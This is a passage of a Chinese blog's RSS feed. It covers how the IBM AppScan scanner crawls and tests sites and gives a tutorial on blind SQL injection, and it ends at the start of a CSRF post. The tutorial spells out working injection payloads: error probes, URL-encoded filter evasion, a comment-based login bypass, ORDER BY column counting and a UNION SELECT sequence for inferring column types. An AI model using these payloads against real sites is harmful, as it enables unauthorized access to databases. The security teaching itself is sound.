息？看起来很复杂，盘根错节；那就更需要找到那个线索，提纲挈领；想一想，访问一个网站的时候，我们需要知道的最重要的信息是哪个？网站主页地址吧？从网 站地址开始，很多其他频道，其他页面都可以链接过去，对不对，那么<strong>可不可以有种技术，告诉了它网站的入口地址，然后它&#8220;顺藤摸瓜&#8221;，找出其他的网页和页面参数</strong>？OK， 这就是&#8220;爬虫&#8221;技术，具体说，是&#8220;网站爬虫&#8221;，其利用了网页的请求都是用  http 协议发送的，发送和返回的内容都是统一的语言 HTML，那么对 HTML  语言进行分析，找到里面的参数和链接，纪录并继续发送之，最终，找到了这个网站的众多的页面和目录。这个能力 AppScan  就提供了，这里的术语叫&#8220;探索&#8221;，explorer，就是去发现，去分析，了解未知的，并记录之。</p> <p>在使用 AppScan 的时候，要配置的第一个就是要检查的网站的地址，配置了以后，AppScan 就会利用&#8220;探索&#8221;技术去发现这个网站存在多少个目录，多少个页面，页面中有哪些参数等，简单说，了解了你的网站的结构。</p> <p>&#8220;探索&#8221;了解了，测试的目标和范围就大致确定了，然后呢，进行安全攻击，这个过程就是&#8220;测试&#8221;；针对发现的每个页面的每 个参数，进行安全检查，检查的弹药就来自 AppScan  的扫描规则库，其类似杀毒软件的病毒库，具体可以检查的安全攻击类型都在里面做好了，我们去使用即可。</p> <p>那么什么是&#8220;完全测试呢&#8221;，完全测试就是把上面的两个步骤整合起来，&#8220;探索&#8221;+&#8220;测试&#8221;；在安全测试过程中，可以先只进行探索，不进行测试，目的是 了解被测的网站结构，评估范围；然后选择&#8220;继续仅测试&#8221;，只对前面探索过的页面进行测试，不对新发现的页面进行测试。&#8220;完全测试&#8221;就是把两个步骤结合在一 起，一边探索，一边测试。</p> <p>AppScan 工作原理小结如下：</p> <ul><li>通过搜索（爬行）发现整个 Web 应用结构 </li><li>根据分析，发送修改的 HTTP Request 进行攻击尝试（扫描规则库） </li><li>通过对于 Respone 的分析验证是否存在安全漏洞 </li></ul> <br /> <a name="fig2"><strong>图 2. AppScan 扫描原理：扫描规则库 + 爬行 + 测试</strong></a><br /> <img alt="图 2. 扫描原理：扫描规则库 + 爬行 + 测试" src="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/image002.png" height="150" width="572" /> <br /> <p>步骤 1：探索（又叫爬行，爬网）</p> <br /> <a name="fig3"><strong>图 3. 探索（爬网，爬行）</strong></a><br /> <img alt="图 3. 探索（爬网，爬行）" src="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/image003.png" height="250" width="572" /> <br /> <p>步骤 2：测试（针对找到的页面，生成测试，进行安全攻击）</p> <br /> <a name="fig4"><strong>图 4. 针对探索发现的页面和参数，进行安全测试</strong></a><br /> <img alt="图 4. 针对探索发现的页面和参数，进行安全测试" src="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/image004.png" height="250" width="572" /> <br /> <p>所以，简言之，AppScan 的核心是提供一个扫描规则库，然后利用自动化的&#8220;探索&#8221;技术得到众多的页面和页面参数，进而对这些页面和页面参数进行安全性测试。<strong>&#8220;扫描规则库&#8221;，&#8220;探索&#8221;，&#8220;测试&#8221;</strong>就构成了 AppScan 的核心三要素。而在安全扫描过程中，如何进行优化，就要结合这三个要素，看哪些部分需要优化，应该如何优化。</p> <p><a name="N10145">AppScan 结果文件</a></p> <p>同时，对于 AppScan 标准版来说，扫描的配置和结果信息都保存为后缀名为 Scan 文件，Scan 文件里面主要包括的内容如下：</p> <ol type="1"><ol type="a"><li><strong>扫描配置信息：</strong>扫描配置信息，如扫描的目标网站地址，录制的登陆过程脚本等，选择的扫描设置等都保存在 Scan 文件中。 </li><li><strong>所有访问到页面信息</strong>：针对每个发现的页面，即使没有进行测试，在探索过程也会访问该页面并纪录 http request/response 信息；所以如果探索的页面访问的时候返回的页面内容比较多，页面比较大，那么即使只做了探索根本没有扫描，整个 Scan 文件也会很大。 </li><li><strong>测试阶段，记录测试成功的测试变体和页面访问信息：</strong>针对每个页面都会发送多次测试（测试变体），每 次测试都会有 Request/response 信息，这些信息如果测试通过，即发现了一个安全问题，则会把该测试变体对应得  request/response 都会纪录下来，保存在 .scan 文件中；由于 AppScan  的扫描测试用例库全面，对于每种安全威胁漏洞，都会发送多个安全测试变体（Variant）进行测试，比如对于 XSS 问题，AppScan 发送了  100 个变体，其中  30 个执行失败，70 个变体执行成功，则会纪录 70 次执行成功的具体变体信息，以及每个变体对应的 Request/Response  信息。这就是一个很大的数据量。这些信息保存以后，就可以在不连接在网站的情况下进行结果分析，快速显示当时测试的页面快照等。 </li></ol></ol> <p>我们以<code>http://demo.testfire.net/bank/customize.aspx</code> 为例，如下就有 74 个变体都发现了 Customize 页面的 Lang 参数存在跨站点脚本执行（XSS）类型的安全漏洞：</p> <br /> <a name="fig5"><strong>图 5. 测试变体显示</strong></a><br /> <img alt="图 5. 测试变体显示" src="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/image005.png" height="344" width="572" /> <br /> <p><a href="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/origin_image005.png" target="_blank">图 5 大图</a></p> <p>所以针对 AppScan 标准版来说，由于需要保存的信息比较多，结果文件是会比较大的，最根本的方法还是有针对性地进行扫描和测试，使用排除页面等排除冗余页面，把一个大的系统分解为多个小的扫描任务等。</p> <p>好的，了解了 AppScan 的原理，我们就结合原来讨论下为什么扫描大型网站时候可能遇到问题了。</p></div><img src ="http://www.cnitblog.com/stomic/aggbug/89739.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2014-09-05 22:33 <a href="http://www.cnitblog.com/stomic/archive/2014/09/05/89739.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL盲注攻击的简单介绍</title><link>http://www.cnitblog.com/stomic/archive/2014/09/04/89737.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Thu, 04 Sep 2014 11:46:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2014/09/04/89737.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/89737.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2014/09/04/89737.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/89737.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/89737.html</trackback:ping><description><![CDATA[<div><p>1 简介 <br />&nbsp;&nbsp;&nbsp; 1.1 普通SQL注入技术概述 <br />&nbsp;&nbsp;&nbsp; 目前没有对SQL注入技术的标准定义，微软中国技术中心从2个方面进行了描述[1]： <br />&nbsp;&nbsp;&nbsp; (1) 脚本注入式的攻击 <br />&nbsp;&nbsp;&nbsp; (2) 恶意用户输入用来影响被执行的SQL脚本 <br /><br />&nbsp;&nbsp;&nbsp;  根据Chris Anley的定义[2],  当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中，这种方法就可以定义成SQL注入。Stephen  Kost[3]给出了这种攻击形式的另一个特征，&#8220;从一个数据库获得未经授权的访问和直接检索&#8221;，SQL注入攻击就其本质而言，它利用的工具是SQL的语 法，针对的是应用程序开发者编程过程中的漏洞，&#8220;当攻击者能够操作数据，往应用程序中插入一些SQL语句时，SQL注入攻击就发生了&#8221;。实际上，SQL注 入是存在于常见的多连接的应用程序中一种漏洞，攻击者通过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素，欺骗数据库服务器执行非授权的 任意查询。这类应用程序一般是网络应用程序(Web  Application)，它允许用户输入查询条件，并将查询条件嵌入SQL请求语句中，发送到与该应用程序相关联的数据库服务器中去执行。通过构造一些 畸形的输入，攻击者能够操作这种请求语句去获取预先未知的结果。 <br /><br />&nbsp;&nbsp;&nbsp;  在风险方面，SQL注入攻击是位居前列的，与缓冲区溢出等漏洞基本相当。而且如果要实施缓冲区溢出攻击，攻击者必须首先能绕过站点的防火墙；而对于SQL 注入攻击，由于防火墙为了使用户能访问网络应用程序，必须允许从Internet到Web服务器的正向连接，因此一旦网络应用程序有注入漏洞，攻击者就可 以直接访问数据库进而甚至能够获得数据库所在的服务器的访问权，因此在某些情况下，SQL注入攻击的风险要高于所有其他漏洞。 <br /><br />&nbsp;&nbsp;&nbsp;  SQL注入攻击利用的是SQL语法，这使得这种攻击具有广泛性。理论上说，对于所有基于SQL语言标准的数据库软件包括SQL  Server，Oracle，MySQL, DB2，Informix等以及与之连接的网络应用程序包括Active/Java Server  Pages, Cold Fusion Management,  PHP或Perl等都是有效的。当然各种软件有自身的特点，实际的攻击代码可能不尽相同。SQL注入攻击的原理相对简单，且各类基于数据库系统的应用程序 被广泛使用，介绍注入漏洞和利用方法的公开出版物也大量问世，造成近年SQL注入攻击的数量一直增长，注入攻击的形式也有被滥用的趋势。 <br /><br />&nbsp;&nbsp;&nbsp;  关于针对MS SQL Server的普通SQL注入技术的详细介绍，可以参考Chris Anley所撰的&#8220;SQL  Server应用程序中的高级SQL注入&#8221;[2]一文和其后续&#8220;更多的高级SQL注入&#8221;[4]，Cesar  Cerrundo所撰的&#8220;利用SQL注入操纵Microsoft SQL Server&#8221; [5]一文，以及SPI实验室的Kevin  Spett撰写的白皮书&#8220;SQL注入 你的网络应用程序是否会受攻击？&#8221; [6]；而针对Oracle的普通SQL注入技术介绍，可以参考Stephen  Kost的&#8220;针对Oracle开发人员的SQL注入攻击简介&#8221;[3]一文。 <br /><br />&nbsp;&nbsp;&nbsp; 1.2 SQL注入攻击的防御手段 <br />由于越来越多的攻击利用了SQL注入技术，也随之产生了很多试图解决注入漏洞的方案。目前被提出的方案有： <br />(1) 在服务端正式处理之前对提交数据的合法性进行检查； <br />(2) 封装客户端提交信息； <br />(3) 替换或删除敏感字符/字符串； <br />(4) 屏蔽出错信息。 <br /><br />方 案(1)被公认是最根本的解决方案，在确认客户端的输入合法之前，服务端拒绝进行关键性的处理操作，不过这需要开发者能够以一种安全的方式来构建网络应用 程序，虽然已有大量针对在网络应用程序开发中如何安全地访问数据库的文档出版，但仍然有很多开发者缺乏足够的安全意识，造成开发出的产品中依旧存在注入漏 洞；方案(2)的做法需要RDBMS的支持，目前只有Oracle采用该技术；方案(3)则是一种不完全的解决措施，例如，当客户端的输入为 &#8220;&#8230;ccmdmcmdd&#8230;&#8221;时,在对敏感字符串&#8220;cmd&#8221;替换删除以后，剩下的字符正好是&#8220;&#8230;cmd&#8230;&#8221;；方案(4)是目前最常被采用的方法，很多安全文 档都认为SQL注入攻击需要通过错误信息收集信息，有些甚至声称某些特殊的任务若缺乏详细的错误信息则不能完成，这使很多安全专家形成一种观念，即注入攻 击在缺乏详细错误的情况下不能实施。 <br /><br />而实际上，屏蔽错误信息是在服务端处理完毕之后进行补救，攻击其实已经发生，只是企图阻止攻击者知道攻击的结果而已。本文所介绍SQL盲注技术就是一些攻击者使用的新技术，其在错误信息被屏蔽的情况下使攻击者仍能获得所需的信息，并继续实施注入攻击。 <br /><br />&nbsp;&nbsp;&nbsp; 1.3 本文的结构组织 <br />&nbsp;&nbsp;   为了理解盲注攻击，我们首先将介绍确定SQL注入漏洞所需的服务器的最小响应；其次，我们将构造一个合乎语法的SQL请求，并可以将之替换成任何有效的 SQL请求；最后，我们将讨论在没有详细错误信息的情况下如何利用UNION  SELECT语句。本文所讨论的盲注攻击的条件是我们在攻击前对网络应用程序、数据库类型、表结构等等信息都一无所知，这些信息都需要在注入的过程中通过 探测获得。 <br />&nbsp;&nbsp;&nbsp; 2 确定注入漏洞 <br />&nbsp;&nbsp;&nbsp;  要进行SQL注入攻击，首先当然是确认要攻击的网络应用程序存在注入漏洞，因此攻击者首先必须能确立一些与服务器产生的错误相关的提示类型。尽管错误信息 本身已被屏蔽，网络应用程序仍然具有能区分正确请求和错误请求的能力，攻击者只需要学习去识别这些提示，寻找相关错误，并确认其是否和SQL相关。 <br /><br />&nbsp;&nbsp;&nbsp; 2.1 识别错误 <br />&nbsp;&nbsp;&nbsp;  一个网络应用程序主要会产生两种类型的错误，第一种是由Web服务器产生的代码异常(exception)，类似于&#8220;500:Internal  Server  Error&#8221;，通常如果SQL注入语句出现语法错误，比如出现未闭合的引号，就会使服务器抛出这类异常。如果要屏蔽该类错误，一般会采用将默认的错误信息 替换成一个事先定制的HTML页面，但只要观察到有这种响应出现，就可以确认其实是发生了服务器错误。在其他情况下，为了进一步屏蔽该类错误，有些服务器 一出现异常，会简单地跳转到主页面或前一个访问过的页面， 或者显示一条简单的错误消息但不提供任何细节。</p><p>&nbsp;&nbsp;  第二类错误是由应用程序代码产生的，这代表其开发者有较好的编程习惯。这类应用程序考虑到可能会出现一些无效的情况，并分别为之产生了一个特定的错误信 息。尽管出现这类错误一般会返回一个请求有效的响应(200 OK)，但页面仍然会跳转到主页面，或者采用某种隐藏信息的办法，类似于&#8220;Internal  Server Error&#8221;。<br /><br />&nbsp;&nbsp;&nbsp;  为了区分这两种错误，我们看一个例子：有两个电子商务的应用程序，A和B，两个应用程序都使用同一个叫proddetails.asp的页面，该页面期待 获得一个参数，叫ProdID。它获取该参数后，从数据库中提取相应的产品详细信息数据，然后对返回的结果进行一些处理。两个应用程序都是通过一个产品列 表页面上的链接调用proddetails.asp，因此能保证ProdID一直都是存在且有效的。应用程序A认为这样就不会出现问题，因此对参数不做额 外的检查，而如果攻击者篡改了ProdID，插入了一个在数据表中不存在的id，数据库就会返回一个空记录。由于应用程序A没有料到可能会出现空记录，当 它试图去处理该记录中的数据时，就可能会出现异常，产生一个&#8220;500:Internal Server  Error&#8221;。而应用程序B，会在对记录进行处理前确认记录的大小超过0，如果是空记录，则会出现一个错误提示&#8220;该产品不存在&#8221;，或者开发者为了隐藏该错 误，会将页面重新定位到产品的列表页面。 <br /><br />&nbsp;&nbsp;&nbsp; 因此攻击者为了进行SQL盲注，会首先尝试提交一些无效的请求，并观察应用程序如何处理这些错误，以及如果出现SQL错误会发生什么情况。<br /><br />&nbsp;&nbsp;&nbsp; 2.2 定位错误 <br />&nbsp;&nbsp;&nbsp;   对要攻击的应用程序有了初步的认识后，攻击者会试图定位由人为构造的输入而产生的错误信息。这时，攻击者就会使用标准的SQL注入测试技术，比如添加一些 SQL关键字（如OR，AND等）和一些META字符（如;或&#8217;等）。每一个参数都被独立地进行测试，而获得的响应将被检验用来判断是否产生了错误。通过 一个拦截代理服务器(intercepting  proxy)或者类似的工具可以方便地识别页面跳转和其他一些可预测的隐藏错误，而任何一个返回错误的参数都有可能存在SQL注入漏洞。而在单独测试每个 参数过程中，必须保证其他参数都是有效的，因为需要避免除注入以外任何其他可能的原因所导致的错误影响了判断结果。测试的结果一般是一个可疑参数的列表， 列表中的一些参数可能的确可以进行注入利用，另外一些参数则可能是由一些SQL无关的错误所造成，因此需要被剔除。攻击者接下来就需要从这些参数中挑选真 正存在注入漏洞的参数，我们称之为确定注入点。 <br /><br />&nbsp;&nbsp;&nbsp; 2.3 确定注入点 <br />&nbsp;&nbsp;&nbsp;  SQL字段可以被划分为三个主要类型：数字、字符串和日期。虽然每个类型都有其特点，但却与注入的过程无关。每一个从网络应用程序提交给SQL查询的参数 都属于以上三个类型中的一类，其中数字参数被直接提交给服务器，而字符串和日期则需要加上引号才被提交，例如： <br /><br />SELECT * FROM Products WHERE ProdID = 4 <br />与 <br />SELECT * FROM Products WHERE ProdName = 'Book' <br /><br />而SQL服务器，并不关心它接受到的是什么类型的参数表达式，只要该表达式是相关的类型即可。而这个特点则使攻击者能够很容易地确认一个错误是否和SQL相关。如果是数字类型，最简单的处理办法是使用基本的算术操作，例如以下请求： <br />/mysite/proddetails.asp?ProdID=4 <br /><br />测试该参数的一种办法是插入4&#8217;作为参数，另一种是使用3+1作为参数，假设这两个参数已直接被提交给SQL请求语句，则将形成以下两个SQL请求语句： <br />(1) SELECT * FROM Products WHERE ProdID = 4' <br />(2) SELECT * FROM Products WHERE ProdID = 3 + 1 <br /><br />第一个SQL语法有问题，将一定会产生一个错误，而第二个如果被顺利地执行，返回和最初的请求（即ProdID等于4）一样的产品信息，这就提示该参数是存在注入漏洞的。 <br /><br />类 似的技术可以被应用于用一个符合SQL语法的字符串表达式替换该参数，这里有两个区别：第一，字符串表示式是放在引号中的，因此需要阻断引号；第二，不同 的SQL服务器连结字符串的语法不同，比如MS SQL Server使用符号+来连结字符串，而Oracle使用符号||来连结。例如以下请求： <br /><br />/mysite/proddetails.asp?ProdName=Book <br />要测试该ProdName参数是否有注入漏洞，可以先其替换成一个无效的字符串比如Book&#8217;，然后再替换成一个可能生成正确字符串的表达式，比如B&#8217;+&#8217;ook（对于Oracle，是B&#8217;||&#8217;ook）。这就会形成以下两个SQL请求语句： <br />(1) SELECT * FROM Products WHERE ProdName = 'Book'' <br />(2) SELECT * FROM Products WHERE ProdID = 'B' + 'ook' <br /><br />则第一个仍然可能产生一个SQL错误，而第二个则可能返回和最初的请求一样的值为Book的产品。 <br /><br />我们注意到，即使应用程序已经过滤了&#8217;和+等META字符，我们仍然可以在输入时过把字符转换成URL编码（即字符ASCII码的16进制）来绕过检查，例如： <br /><br />/mysite/proddetails.asp?ProdID=3+1就等于/mysite/proddetails.asp?ProdID=3%2B1 <br />/mysite/proddetails.asp?ProdID=B&#8217;+&#8217;ook就等于/mysite/proddetails.asp?ProdID=B%27%2B%27ook <br /><br />类 似的，任何表达式都可以用来替换最初的参数。而特殊的系统函数也可以被用来提交以返回一个数字，一个字符串或一个日期，比如Oracle中sysdate 返回一个日期表达式，而在SQL Server中，getdate()会返回日期表达式。其他的技术同样可以被用来判断是否存在SQL注入漏洞。 <br /><br />通过以上介绍可以发现，即使没有详细的错误信息，对于攻击者来说，判断是否存在SQL注入漏洞仍然是一个非常简单的任务。 <br />&nbsp;&nbsp;&nbsp; 3 实施注入攻击 <br />&nbsp;&nbsp;&nbsp; 攻击者在确定注入点后，就要尝试进行注入利用，这需要其能确定符合SQL语法的注入请求表达式，判断出后台数据库的类型，然后构造出所需的利用代码。 <br /><br />&nbsp;&nbsp;&nbsp; 3.1 确定正确的注入句法 <br />这是SQL盲注攻击中最难也最有技巧的步骤，如果最初的SQL请求语句很简单，那么确定正确的注入语法也相对容易，而如果最初的SQL请求语句较复杂，那么要想突破其限制就需要多次的尝试，但进行这些尝试所需要的基本技术却是非常简单。 </p><p>&nbsp;&nbsp;&nbsp;  确定基本的句法的过程即通过标准的SELECT &#8230;  WHERE语句，被注入的参数（即注入点）就是WHERE语句的一部分。为了确定正确的注入句法，攻击者必须能够在最初的WHERE语句后添加其他数据， 使其能返回非预期的结果。对一些简单的应用程序，仅仅加上OR  1=1就可以完成，但在大多数情况下如果想构造出成功的利用代码，这样做当然是不够的。经常需要解决的问题是如何配对插入语符号 （parenthesis，比如成对的括号），使之能与前面的已使用的符号，比如左括号匹配。另外常见的问题是一个被篡改的请求语句可能会导致应用程序产 生其他错误，这个错误往往难于和一个SQL错误相区分，比如应用程序一次如果只能处理一个记录，在请求语句后添加OR  1=1可能使数据库返回1000条记录，这时就会产生错误。由于WHERE语句本质上是一串通过OR、AND或插入语符号连接起来的值为TRUE或 FALSE的表达式，因此要想确定正确的注入句法，关键就在于能否成功地突破插入语符号限制并能顺利地结束请求语句，这就需要进行多次组合测试。例如，添 加AND 1=2能将整个表达式的值变为FALSE，而添加OR 1=2则不会对整个表达式的值产生影响（除非操作符有优先级）。 <br /><br />对于 一些注入利用，仅仅改变WHERE语句就足够了，但对于其他情况，比如UNION SELECT注入或存储过程（stored  procedures）注入，还需要能先顺利地结束整个SQL请求语句，然后才能添加其他攻击者所需要的SQL语句。在这种情况下，攻击者可以选择使用 SQL注释符号来结束语句，该符号是两个连续的破折号（--），它要求SQL  Server忽略其后同一行的所有输入。例如，一个登录页面需要访问者输入用户名和密码，并将其提交给SQL请求语句： <br />SELECT Username, UserID, Password FROM Users WHERE Username = &#8216;user&#8217; AND Password = &#8216;pass&#8217; <br /><br />通过输入john&#8217;--作为用户名，将会构造出以下WHERE语句： <br /><br />WHERE Username = &#8216;john&#8217; --'AND Password = &#8216;pass&#8217; <br /><br />这时，该语句不但符合SQL语法，而且还使用户跳过了密码认证。但是如果是另外一种WHERE语句： <br /><br />WHERE (Username = &#8216;user&#8217; AND Password = &#8216;pass&#8217;) <br /><br />注意到这里出现了插入语符号，这时再使用john&#8217;--作为用户名，请求语句就会错误： <br /><br />WHERE (Username = &#8216;john' --' AND Password = &#8216;pass&#8217;) <br /><br />这是因为有未配对的插入语符号，请求语句就不会被执行。<br /><br />这个例子显示出使用注释符号能够用来判断请求语句是否被顺利地结束了，如果添加了注释符号且没有产生错误，这就意味着注释符号前的语句已经顺利地被结束。如果出现了错误，这就需要攻击者进行更多的请求尝试。 <br /><br />&nbsp;&nbsp;&nbsp; 3.2 判断数据库类型 <br />&nbsp;&nbsp;&nbsp;   攻击者一旦确定了正确的注入句法后，就会开始利用注入去判断后台数据库的类型，这个步骤比确定注入句法要简单得多。攻击者一般会使用以下几种技巧，这些技 巧是基于不同类型数据库引擎在具体实现上的差异。下面只介绍如何区分Oracle和MS SQL Server： <br /><br />最简单的办法，就是前面提到的利用字符串的连结符号，在注入句法已经确定的情况下，攻击者可以对WHERE语句自由地添加额外的表达式，那么就可以利用字符串的比较来区分数据库，例如： <br /><br />AND 'xxx' = 'x' + 'xx' （或者 AND %27xxx%27+%3D+%27x%27+%2B+%27xx%27） <br />通过将+替换成||，就可以判断出是数据库是Oracle还是MS SQL Server，或者是其他类型。 <br /><br />其 他的办法是利用分号字符（即；），在SQL中，分号是用来将几个SQL语句连接在同一行中。在注入时，也可以在注入代码中使用分号，但Oracle驱动程 序却不允许这样使用分号。假设在前面使用注释符号时没有出现错误，那么在注释符号前加上分号对MS SQL  Server是没有影响的，但如果是Oracle就会产生错误。另外，还可以使用COMMIT语句来确认是否允许在分号后再执行其他语句(例如，注入语句 xxx' ; COMMIT --)，如果没有出现错误就可以认为允许多句执行。 <br /><br />最后，表达式还可以被替换成能返回正确值的系统函数，由于不同类型的数据库使用的系统函数也是不同的，因此也可以通过使用系统函数来确定数据库类型，比如2.3节提到的MS SQL Server的日期函数getdate()与Oracle的sysdate. <br /><br />&nbsp;&nbsp;&nbsp; 3.3 构造注入利用代码 <br />当所有相关的信息都已获得后，攻击者就可以开始进行注入利用，而且在构造注入利用代码过程中也不再需要详细的错误信息，构造利用代码本身可以参考其他描述标准SQL注入攻击的文档。 <br /><br />由于对于普通的SQL注入利用，已经有很多其他论文进行了详细的讨论，故本文只会在下一节介绍一种UNION SELECT注入。 <br />&nbsp;&nbsp;&nbsp; 4 UNION SELECT注入 <br />&nbsp;&nbsp;&nbsp;  尽管通过篡改SELECT&#8230;WHERE语句来注入对于很多应用程序非常有效，但在盲注情况下，攻击者仍然愿意使用UNION  SELECT语句，这是因为与WHERE语句所进行的操作不同，使用UNION  SELECT可以让攻击者在没有错误信息的情况下依然能访问数据库中所有表。 <br /><br />&nbsp;&nbsp;&nbsp; 进行UNION SELECT注入需要预先获知数据库的表中的字段个数和类型，而这些信息一般被认为在没有详细错误信息的提示下是不可能获得的，但本文下面就将给出解决该问题的方法。 <br /><br />&nbsp;&nbsp;&nbsp;  另外需要注意的是，进行UNION  SELECT的前提是攻击者已经确定了正确的注入句法，本文的前面一节已经阐明了这在盲注条件下是可以实现的，而且在使用UNION  SELECT语句之前，SQL语句中所有的插入语符号都应该已经完成配对，从而可以自由地使用UNION或者其它指令进行注入。UNION  SELECT还要求当前语句和最初的语句查询的信息必须具有相同的数和相同的数据类型，不然就会出错。 <br /><br />&nbsp;&nbsp;&nbsp; 4.1 统计列数 <br />&nbsp;&nbsp;&nbsp;  当错误信息没有被屏蔽时，要获取列数只需要在进行UNION  SELECT注入时每次尝试使用不同的字段数即可，当错误信息由&#8220;列数不匹配&#8221;变成&#8220;列的类型不匹配&#8221;时，当前尝试的列数就是正确的。但在盲注条件下，由 于我们对无法获悉错误信息究竟是哪个，所以该方法也就失去了作用。</p><p>&nbsp;&nbsp; 新的办法是利用ORDER BY语句，在SELECT语句最后加上ORDER BY能够改变返回的记录集的次序，一般是按一个指定的列名的值进行排序。例如，当通过产品号查询产品时，一个有效的注入语句如下： <br /><br />SELECT ProdNum FROM Products WHERE (ProdID=1234) ORDER BY ProdNum -- <br />AND ProdName=&#8217;Computer&#8217;) AND UserName=&#8217;john&#8217; <br /><br />&nbsp;&nbsp;&nbsp;  人们往往会忽略的是ORDER BY语句后还可以使用数字指代列名，在上例中如果ProdNum是查询请求返回的记录中的第一列，则注入1234)  ORDER BY 1--返回的结果是一样的。由于上例查询请求只返回一个字段，注入1234) ORDER BY 2  --就会出错，即返回的记录无法按指定的第二个字段排序。这样，ORDER  BY就可以被利用来对列数进行统计了。由于每个SELECT语句都至少返回一个字段，故攻击者可以先在注入句法中添加ORDER BY  1来确定语句是否能被正确执行，有时对字段的排序也可能会产生错误，这时添加关键字ASC或DESC可以解决该问题。一旦确定ORDER  BY句法是有效的，攻击者就会对排序列号从列1到列100进行遍历（或者到列1000，直到列号被确定为无效），理论上当出现第一个错误时，前一个列号就 是要统计的列数，但在实际情况中，有些字段可能不允许排序，那么在出现第一次错误时可以再多尝试一到两个数字，以确认列号已遍历完。 <br /><br />&nbsp;&nbsp;&nbsp; 4.2 判断列的数据类型 <br />&nbsp;&nbsp;&nbsp;  在统计完列数后，攻击者需要再判断列的数据类型，在盲注情况下判断类型也是有技巧的，由于UNION  SELECT要求前后查询语句查询的字段类型相同，故如果字段数有限，可以简单地利用UNION SELECT语句对字段类型进行暴力穷举(brute  force)，但如果字段数较多，判断就会出现问题。根据前文，字段的类型只有数字、字符串和日期三种可能的类型，一旦字段数有10个，那么就意味着有 310（约60，000）种可能的组合，假设每一秒可以自动进行20次尝试，穷举一遍也需要近一个小时，如果字段数更多，那么测试所需时间就会令人难以忍 受。 <br /><br />&nbsp;&nbsp;&nbsp;  一种简单的办法是利用SQL的关键字NULL，与静态字段的注入需要区分是数字类型还是字符类型不同，NULL可以匹配任何一种数据类型。因此可以注入一 个所有查询字段都为NULL的UNION SELECT语句，那么就不会出现任何类型不匹配的错误。让我们再举一个与前面类似的例子： <br /><br />SELECT ProdNum,ProdType,ProdPrice,ProdProvider FROM Products <br />WHERE (ProdID=1234 AND ProdName=&#8217; Computer&#8217;) AND UserName=&#8217;john&#8217; <br /><br />&nbsp;&nbsp;&nbsp;  假设攻击者已经获得了列数（在该例中为4），那么就可以很简单地构造一个UNION  SELECT语句，其中所有查询字段都为NULL，还需要构造一个不会产生权限问题的FROM语句。对于MS SQL  Server，即使忽略FROM语句也不会出错，但对于Oracle，则可以使用一个名叫dual的表。最后，还需要一个值一定为FALSE的WHERE 语句（比如WHERE 1=2），这是为了确保查询不会返回只包含null值的记录集，以杜绝产生其他可能的错误。那么针对MS SQL  Server的注入语句如下： <br /><br />SELECT ProdNum,ProdType,ProdPrice,ProdProvider FROM Products <br />WHERE (ProdID=1234) UNION SELECT NULL,NULL,NULL,NULL <br />WHERE 1=2 -- AND ProdName=&#8217; Computer&#8217;) AND UserName=&#8217;john&#8217; <br /><br />&nbsp;&nbsp;&nbsp;  这个NULL注入语句有两个目的，主要目的是构造一个不会产生任何错误的UNION  SELECT语句以测试UNION语句是否可以被执行，另一个目的是为了对数据库类型的判断进行100%确认（可以通过在FROM语句里添加一个数据库开 发商预置的表名进行测试）。 <br /><br />&nbsp;&nbsp;&nbsp;  如果NULL注入语句被顺利执行，那么就可以快速地对每个列的类型进行判断。在每一轮尝试中，只对一个字段类型进行测试，由于类型只有三类，所以每个字段 最多被测试三次就会有结果，这样尝试的次数最多是列数的三倍，而不是以3为底数以列数为指数的次数。假设ProdNum属于数字类型，其它三个字段都属于 字符串类型，那么以下顺序的注入语句就可以判断出正确的类型： <br /><br />&#8226; 1234) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 -- <br />无错 句法正确，使用的是MS SQL Server数据库 <br />&#8226; 1234) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 -- <br />无错 第一个字段是数字类型 <br />&#8226; 1234) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- <br />出错 第二个字段不是数字类型 <br />&#8226; 1234) UNION SELECT 1,&#8217;2&#8217;,NULL,NULL WHERE 1=2 -- <br />无错 第二个字段是字符串类型 <br />&#8226; 1234) UNION SELECT 1,&#8217;2&#8217;,3,NULL WHERE 1=2 -- <br />出错 第三个字段不是数字类型 <br />&#8226; 1234) UNION SELECT 1,&#8217;2&#8217;,&#8217;3&#8217;,NULL WHERE 1=2 -- <br />无错 第三个字段是字符串类型 <br />&#8226; 1234) UNION SELECT 1,&#8217;2&#8217;,&#8217;3&#8217;,4 WHERE 1=2 -- <br />出错 第四个字段不是数字类型 <br />&#8226; 1234) UNION SELECT 1,&#8217;2&#8217;,&#8217;3&#8217;,&#8217;4&#8217; WHERE 1=2 -- <br />无错 第四个字段是字符串类型<br />攻击者现在就已经获得了每一列的数据类型，盲注还可以被应用于从数据库的表中获取数据，比如获得数据表的列表以及它们各自的列名，还可以从应用程序中获得数据，而这些技术在其他一些关于SQL注入的论文中已经有讨论，故本文不再继续介绍。</p></div><img src ="http://www.cnitblog.com/stomic/aggbug/89737.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2014-09-04 19:46 <a href="http://www.cnitblog.com/stomic/archive/2014/09/04/89737.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅谈CSRF攻击方式</title><link>http://www.cnitblog.com/stomic/archive/2014/01/04/89162.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Fri, 03 Jan 2014 17:11:00 